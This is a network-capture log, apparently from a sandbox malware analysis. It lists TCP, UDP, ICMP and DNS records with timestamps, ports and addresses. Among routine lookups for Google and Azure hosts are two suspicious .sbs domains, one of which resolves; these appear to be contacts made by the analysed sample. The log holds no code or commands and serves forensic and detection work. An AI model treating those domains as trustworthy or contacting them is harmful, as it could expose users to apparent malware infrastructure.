Nov 25, 2024 12:08:57.604909897 CET	443	50027	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.604923010 CET	50027	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.604928970 CET	443	50027	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.608896971 CET	50032	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.608927965 CET	443	50032	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.609040976 CET	50032	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.609201908 CET	50032	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.609215975 CET	443	50032	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.818945885 CET	443	50028	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.822325945 CET	443	50028	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.822388887 CET	443	50028	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.822397947 CET	50028	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.822448969 CET	50028	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.822499990 CET	50028	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.822525024 CET	443	50028	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.822541952 CET	50028	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.822547913 CET	443	50028	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.825141907 CET	50033	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.825191021 CET	443	50033	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.825268030 CET	50033	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.825417995 CET	50033	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.825437069 CET	443	50033	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.924839020 CET	443	50029	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.924916029 CET	443	50029	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.925020933 CET	50029	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.925198078 CET	50029	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.925198078 CET	50029	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.925220966 CET	443	50029	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.925230980 CET	443	50029	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.928271055 CET	50034	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.928317070 CET	443	50034	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.928406000 CET	50034	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.928607941 CET	50034	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.928617954 CET	443	50034	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:58.046025038 CET	443	50030	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:58.046458960 CET	50030	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:58.046483040 CET	443	50030	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:58.046920061 CET	50030	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:58.046926022 CET	443	50030	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:58.498140097 CET	443	50030	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:58.501668930 CET	443	50030	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:58.501729965 CET	443	50030	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:58.501738071 CET	50030	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:58.501786947 CET	50030	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:58.501837969 CET	50030	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:58.501862049 CET	443	50030	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:58.501880884 CET	50030	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:58.501887083 CET	443	50030	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:58.504909992 CET	50035	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:58.505007982 CET	443	50035	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:58.505100012 CET	50035	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:58.505285978 CET	50035	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:58.505301952 CET	443	50035	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:58.581778049 CET	443	50031	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:58.588227987 CET	50031	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:58.588248968 CET	443	50031	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:58.588907957 CET	50031	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:58.588913918 CET	443	50031	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.025600910 CET	443	50031	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.029406071 CET	443	50031	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.030550003 CET	50031	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.030643940 CET	50031	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.030667067 CET	443	50031	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.030678988 CET	50031	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.030685902 CET	443	50031	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.033157110 CET	50036	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.033185005 CET	443	50036	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.033256054 CET	50036	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.033420086 CET	50036	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.033437014 CET	443	50036	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.398233891 CET	443	50032	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.398662090 CET	50032	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.398674965 CET	443	50032	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.399100065 CET	50032	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.399106979 CET	443	50032	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.607110977 CET	443	50033	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.611095905 CET	50033	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.611167908 CET	443	50033	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.611516953 CET	50033	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.611525059 CET	443	50033	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.711942911 CET	443	50034	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.714813948 CET	50034	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.714828014 CET	443	50034	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.715282917 CET	50034	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.715287924 CET	443	50034	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.841177940 CET	443	50032	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.844831944 CET	443	50032	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.844877005 CET	443	50032	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.844909906 CET	50032	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.844945908 CET	50032	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.845010042 CET	50032	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.845026970 CET	443	50032	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.845045090 CET	50032	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.845051050 CET	443	50032	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.847706079 CET	50037	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.847750902 CET	443	50037	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:59.847825050 CET	50037	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.847959042 CET	50037	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:59.847966909 CET	443	50037	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.049724102 CET	443	50033	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.049791098 CET	443	50033	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.049856901 CET	50033	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.050069094 CET	50033	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.050111055 CET	443	50033	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.050127983 CET	50033	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.050160885 CET	443	50033	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.053143024 CET	50038	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.053188086 CET	443	50038	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.053320885 CET	50038	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.053435087 CET	50038	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.053447962 CET	443	50038	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.155884027 CET	443	50034	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.159142017 CET	443	50034	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.159323931 CET	50034	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.159323931 CET	50034	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.159323931 CET	50034	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.162000895 CET	50039	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.162029982 CET	443	50039	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.162106037 CET	50039	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.162264109 CET	50039	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.162275076 CET	443	50039	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.285118103 CET	443	50035	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.285634995 CET	50035	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.285660028 CET	443	50035	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.286096096 CET	50035	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.286101103 CET	443	50035	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.467432976 CET	50034	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.467457056 CET	443	50034	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.559962034 CET	443	50036	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.560669899 CET	50036	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.560684919 CET	443	50036	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.561084032 CET	50036	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.561089993 CET	443	50036	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.728306055 CET	443	50035	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.731393099 CET	443	50035	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.731458902 CET	50035	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.731492996 CET	50035	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.731509924 CET	443	50035	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.731519938 CET	50035	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.731525898 CET	443	50035	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.734536886 CET	50040	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.734561920 CET	443	50040	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.734632969 CET	50040	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.734814882 CET	50040	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.734823942 CET	443	50040	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.994319916 CET	443	50036	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.997400045 CET	443	50036	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.997446060 CET	443	50036	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.997468948 CET	50036	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.997514009 CET	50036	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.997565985 CET	50036	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.997595072 CET	443	50036	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:00.997612953 CET	50036	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:00.997622013 CET	443	50036	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:01.006899118 CET	50041	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:01.006922007 CET	443	50041	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:01.006992102 CET	50041	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:01.007162094 CET	50041	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:01.007170916 CET	443	50041	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:01.692688942 CET	443	50037	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:01.702136993 CET	50037	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:01.702152014 CET	443	50037	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:01.706231117 CET	50037	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:01.706238031 CET	443	50037	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:01.886486053 CET	443	50039	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:01.890531063 CET	50039	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:01.890548944 CET	443	50039	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:01.891015053 CET	50039	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:01.891020060 CET	443	50039	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:01.898926973 CET	443	50038	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:01.899930954 CET	50038	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:01.899946928 CET	443	50038	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:01.900512934 CET	50038	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:01.900518894 CET	443	50038	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.145328999 CET	443	50037	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.148401022 CET	443	50037	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.148545980 CET	50037	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.148545980 CET	50037	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.148545980 CET	50037	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.151001930 CET	50042	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.151036978 CET	443	50042	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.151102066 CET	50042	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.151227951 CET	50042	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.151235104 CET	443	50042	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.320878029 CET	443	50039	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.323967934 CET	443	50039	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.326441050 CET	50039	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.326491117 CET	50039	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.326509953 CET	443	50039	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.326528072 CET	50039	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.326538086 CET	443	50039	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.331075907 CET	50043	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.331106901 CET	443	50043	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.331197023 CET	50043	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.331322908 CET	50043	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.331331968 CET	443	50043	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.364414930 CET	443	50038	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.364491940 CET	443	50038	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.364646912 CET	50038	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.364794970 CET	50038	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.364823103 CET	443	50038	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.364861965 CET	50038	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.364870071 CET	443	50038	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.367573977 CET	50044	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.367604971 CET	443	50044	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.367708921 CET	50044	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.367830038 CET	50044	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.367839098 CET	443	50044	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.453350067 CET	50037	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.453361988 CET	443	50037	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.582520962 CET	443	50040	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.582941055 CET	50040	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.582959890 CET	443	50040	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.583966970 CET	50040	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.583973885 CET	443	50040	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.805149078 CET	443	50041	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.805643082 CET	50041	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.805659056 CET	443	50041	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:02.806210995 CET	50041	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:02.806216002 CET	443	50041	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.034929037 CET	443	50040	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.038156033 CET	443	50040	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.038239956 CET	50040	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.038366079 CET	50040	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.038379908 CET	443	50040	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.038394928 CET	50040	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.038399935 CET	443	50040	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.040733099 CET	50045	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.040772915 CET	443	50045	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.041296959 CET	50045	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.041500092 CET	50045	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.041512012 CET	443	50045	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.248852015 CET	443	50041	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.251944065 CET	443	50041	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.252000093 CET	50041	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.252048016 CET	50041	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.252059937 CET	443	50041	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.252067089 CET	50041	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.252072096 CET	443	50041	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.254611015 CET	50046	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.254652977 CET	443	50046	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.254714966 CET	50046	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.254856110 CET	50046	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.254870892 CET	443	50046	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.930008888 CET	443	50042	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.930857897 CET	50042	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.930881977 CET	443	50042	13.107.246.63	192.168.2.5
Nov 25, 2024 12:09:03.931441069 CET	50042	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:09:03.931447983 CET	443	50042	13.107.246.63	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 12:06:56.668488026 CET	54946	53	192.168.2.5	1.1.1.1
Nov 25, 2024 12:06:56.896197081 CET	53	54946	1.1.1.1	192.168.2.5
Nov 25, 2024 12:06:56.966309071 CET	56022	53	192.168.2.5	1.1.1.1
Nov 25, 2024 12:06:57.346342087 CET	53	56022	1.1.1.1	192.168.2.5
Nov 25, 2024 12:07:33.867748976 CET	53	49390	1.1.1.1	192.168.2.5
Nov 25, 2024 12:07:33.884151936 CET	53	62414	1.1.1.1	192.168.2.5
Nov 25, 2024 12:07:36.673449039 CET	53	56322	1.1.1.1	192.168.2.5
Nov 25, 2024 12:07:37.987896919 CET	58197	53	192.168.2.5	1.1.1.1
Nov 25, 2024 12:07:37.988078117 CET	52250	53	192.168.2.5	1.1.1.1
Nov 25, 2024 12:07:38.124984980 CET	53	58197	1.1.1.1	192.168.2.5
Nov 25, 2024 12:07:38.125293016 CET	53	52250	1.1.1.1	192.168.2.5
Nov 25, 2024 12:07:40.939393997 CET	52809	53	192.168.2.5	1.1.1.1
Nov 25, 2024 12:07:40.939749956 CET	64940	53	192.168.2.5	1.1.1.1
Nov 25, 2024 12:07:44.246910095 CET	60912	53	192.168.2.5	1.1.1.1
Nov 25, 2024 12:07:44.247354984 CET	51695	53	192.168.2.5	1.1.1.1
Nov 25, 2024 12:07:49.094922066 CET	53	50213	1.1.1.1	192.168.2.5
Nov 25, 2024 12:07:50.969192982 CET	60937	53	192.168.2.5	1.1.1.1
Nov 25, 2024 12:07:50.969695091 CET	64258	53	192.168.2.5	1.1.1.1
Nov 25, 2024 12:07:53.845503092 CET	53	65305	1.1.1.1	192.168.2.5
Nov 25, 2024 12:08:12.630739927 CET	53	64709	1.1.1.1	192.168.2.5
Nov 25, 2024 12:08:33.420886040 CET	53	56486	1.1.1.1	192.168.2.5
Nov 25, 2024 12:08:35.137444019 CET	53	51979	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 25, 2024 12:07:55.585464001 CET	192.168.2.5	1.1.1.1	c265	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 12:06:56.668488026 CET	192.168.2.5	1.1.1.1	0xf94c	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:06:56.966309071 CET	192.168.2.5	1.1.1.1	0x11bb	Standard query (0)	frogs-severz.sbs	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:07:37.987896919 CET	192.168.2.5	1.1.1.1	0xdb82	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:07:37.988078117 CET	192.168.2.5	1.1.1.1	0xd878	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 25, 2024 12:07:40.939393997 CET	192.168.2.5	1.1.1.1	0xe25c	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:07:40.939749956 CET	192.168.2.5	1.1.1.1	0x14cc	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 25, 2024 12:07:44.246910095 CET	192.168.2.5	1.1.1.1	0x5331	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:07:44.247354984 CET	192.168.2.5	1.1.1.1	0x4d70	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 25, 2024 12:07:50.969192982 CET	192.168.2.5	1.1.1.1	0xcd37	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:07:50.969695091 CET	192.168.2.5	1.1.1.1	0x6d97	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 12:06:56.896197081 CET	1.1.1.1	192.168.2.5	0xf94c	Name error (3)	property-imper.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:06:57.346342087 CET	1.1.1.1	192.168.2.5	0x11bb	No error (0)	frogs-severz.sbs		172.67.155.47	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:06:57.346342087 CET	1.1.1.1	192.168.2.5	0x11bb	No error (0)	frogs-severz.sbs		104.21.88.250	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:07:38.124984980 CET	1.1.1.1	192.168.2.5	0xdb82	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:07:38.125293016 CET	1.1.1.1	192.168.2.5	0xd878	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 25, 2024 12:07:41.076407909 CET	1.1.1.1	192.168.2.5	0x9b4	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:41.076407909 CET	1.1.1.1	192.168.2.5	0x9b4	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:41.076407909 CET	1.1.1.1	192.168.2.5	0x9b4	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:07:41.076422930 CET	1.1.1.1	192.168.2.5	0x3242	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:41.076833010 CET	1.1.1.1	192.168.2.5	0xe25c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:41.076833010 CET	1.1.1.1	192.168.2.5	0xe25c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:41.076833010 CET	1.1.1.1	192.168.2.5	0xe25c	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:41.076833010 CET	1.1.1.1	192.168.2.5	0xe25c	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:07:41.077696085 CET	1.1.1.1	192.168.2.5	0x14cc	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:41.077696085 CET	1.1.1.1	192.168.2.5	0x14cc	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:43.841661930 CET	1.1.1.1	192.168.2.5	0xe215	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:43.842231989 CET	1.1.1.1	192.168.2.5	0x5382	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:43.842231989 CET	1.1.1.1	192.168.2.5	0x5382	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:43.842231989 CET	1.1.1.1	192.168.2.5	0x5382	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
